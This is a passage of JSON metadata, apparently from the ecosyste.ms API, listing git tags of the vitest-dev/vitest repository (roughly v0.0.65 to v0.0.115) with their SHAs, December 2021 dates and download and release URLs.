dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.115","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.115/manifests"},{"name":"v0.0.114","sha":"a82b2435baea8c30588cf0fde9ff39d6a38411df","kind":"tag","published_at":"2021-12-26T08:18:08.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.114","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.114","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.114","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.114/manifests"},{"name":"v0.0.113","sha":"77bf8da188baa81b096bac5253c01f737be6a72d","kind":"tag","published_at":"2021-12-24T13:43:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.113","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.113","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.113","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.113/manifests"},{"name":"v0.0.112","sha":"b32e9b69be4290af3a0384b68dd5c4eb0fed3304","kind":"tag","published_at":"2021-12-24T10:04:22.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.112","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.112","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.112","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.112/manifests"},{"name":"v0.0.111","sha":"90af8c496802c6a65d4e9dc6ec42cb36cebc1276","kind":"tag","published_at":"2021-12-24T09:51:41.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.111","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.111","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.111","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.111/manifests"},{"name":"v0.0.110","sha":"649862c32d579ec3dd0f2062a1c723078a9cf434","kind":"tag","published_at":"2021-12-24T05:17:35.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.110","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.110","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.110/manifests"},{"name":"v0.0.109","sha":"de81438b878fb67b89ee941ec796a42cc962d415","kind":"tag","published_at":"2021-12-23T08:44:15.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.109","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.109","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.109","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.109/manifests"},{"name":"v0.0.108","sha":"41b7d6632ab086eb325261f6980405fae5ebdfde","kind":"tag","published_at":"2021-12-22T18:14:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.108","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.108","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.108/manifests"},{"name":"v0.0.107","sha":"fd0ba5d723ceeed5d41673a7ed6b68a0eedf5788","kind":"tag","published_at":"2021-12-21T18:46:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.107","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.107","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.107/manifests"},{"name":"v0.0.106","sha":"c6e3ad7da2193322fcce0d03706f959592e921fb","kind":"tag","published_at":"2021-12-21T18:05:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.106","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.106","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.106","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.106/manifests"},{"name":"v0.0.105","sha":"395c02effe039ed3f9c192d00f7ac67ec188ac4a","kind":"tag","published_at":"2021-12-21T15:37:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.105","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.105","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.105/manifests"},{"name":"v0.0.104","sha":"5bb6f46befbeb1bfad05b83b4900d429c0af660e","kind":"tag","published_at":"2021-12-21T11:23:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.104","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.104","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.104/manifests"},{"name":"v0.0.103","sha":"9b04fa276c6506f3291afdbe892919793372c685","kind":"tag","published_at":"2021-12-21T05:01:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.103","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.103","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.103","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.103/manifests"},{"name":"v0.0.102","sha":"8c489789b41b6b36e299196a241eb729179a3fc6","kind":"tag","published_at":"2021-12-20T18:09:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.102","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.102","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.102","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.102/manifests"},{"name":"v0.0.101","sha":"7c6d078decb36ea3cbe7ca2f1b0a16c5ffe6fe41","kind":"tag","published_at":"2021-12-20T17:24:42.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.101","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.101","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.101","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.101/manifests"},{"name":"v0.0.100","sha":"96dc796f6f7b896f536da9e1b0d697fcb7559dc6","kind":"tag","published_at":"2021-12-20T13:01:51.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.100","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.100","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.100","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.100/manifests"},{"name":"v0.0.99","sha":"0711a63c2d848f017e9823d8d2124c2434e41c33","kind":"tag","published_at":"2021-12-20T08:01:32.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.99","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.99","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.99","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.99/manifests"},{"name":"v0.0.98","sha":"99e3c96fc2eb858cc04a7cf7a3446eda40c2952c","kind":"tag","published_at":"2021-12-19T21:04:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.98","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.98","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.98","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.98/manifests"},{"name":"v0.0.97","sha":"c5ee9efd8b82266d4182aa2c49ba8653f4676376","kind":"tag","published_at":"2021-12-18T11:24:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.97","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.97","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.97/manifests"},{"name":"v0.0.96","sha":"332e8fba8e40aa8d2790a710cc1e8e2358f01561","kind":"tag","published_at":"2021-12-18T04:00:13.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.96","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.96","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.96","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.96/manifests"},{"name":"v0.0.95","sha":"9846fc6b33111c1209d11773075a1a492a8a504b","kind":"tag","published_at":"2021-12-18T03:48:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.95","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.95","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.95","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.95/manifests"},{"name":"v0.0.94","sha":"24f99466a6d104662aa6ace4f830f015a96fd7b1","kind":"tag","published_at":"2021-12-16T19:06:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.94","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.94","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.94","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.94/manifests"},{"name":"v0.0.93","sha":"82be48ae3a5bbef54f69a13760b62629a2fd45de","kind":"tag","published_at":"2021-12-16T17:47:48.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.93","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.93","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.93","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.93/manifests"},{"name":"v0.0.92","sha":"3bec638dc4046ba072f203b3ded346f907ebdb1a","kind":"tag","published_at":"2021-12-16T08:51:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.92","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.92","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.92","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.92/manifests"},{"name":"v0.0.91","sha":"ec548d0ac2b77f54b5217319e704defebca07f14","kind":"tag","published_at":"2021-12-16T07:39:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.91","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.91","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.91/manifests"},{"name":"v0.0.90","sha":"32d314149a0e8f7877d3a8c23d641becee50bcd8","kind":"tag","published_at":"2021-12-15T20:46:55.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.90","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.90","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.90","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.90/manifests"},{"name":"v0.0.89","sha":"6e6e7d869263edfd79da6f8eeb66502d581c207c","kind":"tag","published_at":"2021-12-15T19:50:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.89","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.89","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.89","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.89/manifests"},{"name":"v0.0.88","sha":"baaa043be8911ba73cd962194b64120b3da8c347","kind":"tag","published_at":"2021-12-15T09:55:10.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.88","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.88","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.88","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.88/manifests"},{"name":"v0.0.87","sha":"ec75fe7e531b01e04566fe5788dc61cda7b33d85","kind":"tag","published_at":"2021-12-15T07:32:58.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.87","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.87","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.87","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.87/manifests"},{"name":"v0.0.86","sha":"af5bea4819af6e91f4f50bf487cce4f4c66125e3","kind":"tag","published_at":"2021-12-15T06:56:28.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.86","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.86","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.86/manifests"},{"name":"v0.0.85","sha":"c73f2b9d57a34a54d6b1a4013784b3463f62057e","kind":"tag","published_at":"2021-12-15T05:46:36.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.85","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.85","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.85","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.85/manifests"},{"name":"v0.0.84","sha":"79236cdd466c9e75f6bf0616ac53d90f12eacaef","kind":"tag","published_at":"2021-12-15T04:31:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.84","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.84","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.84","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.84/manifests"},{"name":"v0.0.83","sha":"cca0193714dbc8f78dc3b45a3665f354b048f581","kind":"tag","published_at":"2021-12-15T03:59:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.83","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.83","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.83","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.83/manifests"},{"name":"v0.0.82","sha":"e5f48a42a196c731f7be304cd79004796c48743c","kind":"tag","published_at":"2021-12-14T11:26:11.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.82","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.82","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.82","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.82/manifests"},{"name":"v0.0.81","sha":"5e9a7205c94ddf63bdafba69921f1c2d4c626366","kind":"tag","published_at":"2021-12-14T00:35:19.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.81","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.81","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.81","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.81/manifests"},{"name":"v0.0.80","sha":"286427424ba262f617f7ae91bcefbd9f5e26ef2c","kind":"tag","published_at":"2021-12-13T21:06:53.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.80","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.80","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.80","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.80/manifests"},{"name":"v0.0.79","sha":"bebf3471a5112aec13699c69ded97c9be5c03334","kind":"tag","published_at":"2021-12-13T21:06:13.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.79","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.79","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.79/manifests"},{"name":"v0.0.78","sha":"7e36dce93a70997cd8a1d4868510079f3ecbb2bc","kind":"tag","published_at":"2021-12-13T13:42:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.78","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.78","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.78","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.78/manifests"},{"name":"v0.0.77","sha":"a78adbb61e70eaa822c540d7ba84774fb0b4f8d6","kind":"tag","published_at":"2021-12-13T12:22:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.77","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.77","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.77","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.77/manifests"},{"name":"v0.0.76","sha":"30e50f440ac7bc625850ae72ae2d17e390bf18b6","kind":"tag","published_at":"2021-12-13T00:44:39.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.76","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.76","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.76","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.76/manifests"},{"name":"v0.0.75","sha":"99dfdcae7bbfd00c222b0c8f81bca2c9fb558345","kind":"tag","published_at":"2021-12-12T23:03:55.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.75","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.75","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.75","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.75/manifests"},{"name":"v0.0.74","sha":"c2b1434a7e6e8155fa3b10620e6df5a0ddf9fdbe","kind":"tag","published_at":"2021-12-12T21:23:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.74","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.74","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.74","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.74/manifests"},{"name":"v0.0.73","sha":"244c8e96c5d21755f59761553965df130d367012","kind":"tag","published_at":"2021-12-12T20:22:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.73","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.73","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.73","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.73/manifests"},{"name":"v0.0.72","sha":"6f4544d2b3c2bb220e7da54c8d2a00cdc90a1f13","kind":"tag","published_at":"2021-12-12T12:44:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.72","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.72","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.72","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.72/manifests"},{"name":"v0.0.71","sha":"8d7820c2a9965032c15d22320d4e1ae632b6c052","kind":"tag","published_at":"2021-12-12T10:42:19.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.71","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.71","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.71/manifests"},{"name":"v0.0.70","sha":"652bb2b040f53e6ad1368b926c38b904a93b92c3","kind":"tag","published_at":"2021-12-12T06:49:44.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.70","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.70","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.70","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.70/manifests"},{"name":"v0.0.69","sha":"290b481b4d2a23419b54553fc1fbd6fc49abb0ca","kind":"tag","published_at":"2021-12-12T06:39:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.69","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.69","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.69","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.69/manifests"},{"name":"v0.0.68","sha":"6ca326e7684aad02c1824a8ec7dded2e0dcc67c8","kind":"tag","published_at":"2021-12-12T05:53:06.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.68","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.68","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.68","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.68/manifests"},{"name":"v0.0.67","sha":"10d53b19c5277aa97b138726c61208190fc5626a","kind":"tag","published_at":"2021-12-12T05:45:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.67","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.67","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.67","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.67/manifests"},{"name":"v0.0.66","sha":"0691664aa729abebf7c8ae5b303e595098c75fa2","kind":"tag","published_at":"2021-12-12T05:36:33.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.0.66","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.0.66","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.0.66/manifests"},{"name":"v0.0.65","sha":"fa937c2f5f4b62269a7dc39c6b0b8982cf8c1cde","kind":"tag","published_at":"2021-12-12T04:19:43.000Z","download_url":"https://codeload.github.com/v